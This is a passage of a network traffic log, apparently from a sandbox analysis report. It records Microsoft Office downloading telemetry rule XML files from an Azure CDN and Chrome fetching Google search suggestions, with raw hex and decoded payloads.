2024-10-30 10:45:14 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-30 10:45:14 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49712	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:16 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 85f3058c-201e-00aa-6c2c-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104516Z-r1755647c66f4bf880huw27dwc000000099g000000002t47 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:16 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49714	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104516Z-17fbfdc98bbdbgkb6uyh3q4ue40000000790000000003tuf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:16 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49716	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 7920d540-e01e-0085-1f11-29c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104516Z-17fbfdc98bbp77nqf5g2c5aavs00000007gg000000004cpg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:16 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49713	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:16 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104516Z-17fbfdc98bbtf4jxpev5grnmyw0000000850000000001nd2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:16 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49715	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:16 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c4ab37c7-901e-002a-3417-267a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104516Z-17fbfdc98bbvvplhck7mbap4bw00000009ng000000001egp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:16 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49721	142.250.184.228	443	3984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 10:45:16 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-AwAH35H1FsPcoJk9cPb4lg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 10:45:16 UTC	112	IN	Data Raw: 33 33 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 62 72 69 64 67 65 74 20 73 63 68 75 6d 61 63 68 65 72 20 6f 62 69 74 75 61 72 79 22 2c 22 61 69 72 6c 69 6e 65 20 72 65 66 75 6e 64 73 20 66 6f 72 20 64 65 6c 61 79 65 64 20 66 6c 69 67 68 74 73 22 2c 22 68 6f 75 73 74 6f 6e 20 69 73 64 20 74 65 61 63 68 65 72 20 63 65 72 74 69 66 69 63 Data Ascii: 334)]}'["",["bridget schumacher obituary","airline refunds for delayed flights","houston isd teacher certific
2024-10-30 10:45:16 UTC	715	IN	Data Raw: 61 74 69 6f 6e 22 2c 22 68 75 72 72 69 63 61 6e 65 73 20 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 73 22 2c 22 64 61 69 6c 79 20 68 6f 72 6f 73 63 6f 70 65 20 74 6f 64 61 79 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 74 79 63 6f 6f 6e 20 63 61 6e 64 79 20 73 74 6f 72 65 20 72 65 77 61 72 64 73 22 2c 22 6d 63 64 6f 6e 61 6c 64 20 71 75 61 72 74 65 72 20 70 6f 75 6e 64 65 72 20 65 20 63 6f 6c 69 20 6f 75 74 62 72 65 61 6b 22 2c 22 77 68 69 74 65 20 73 6f 78 20 6d 61 6e 61 67 65 72 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 Data Ascii: ation","hurricanes tropical storms","daily horoscope today","monopoly go tycoon candy store rewards","mcdonald quarter pounder e coli outbreak","white sox manager"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groups
2024-10-30 10:45:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49725	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1041074d-101e-0034-30b5-2596ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104516Z-r1755647c66vkwr5neys93e0h400000007dg000000004kud x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:17 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49726	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104516Z-r1755647c66ljccje5cnds62nc00000006qg000000002gzt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49727	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: bbf1142f-f01e-0085-589b-2788ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104516Z-r1755647c665dwkwce4e7gadz000000008qg000000004gse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:17 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49728	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 8abc48b9-201e-0096-2f4f-28ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104516Z-r1755647c665dwkwce4e7gadz000000008n0000000006n0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
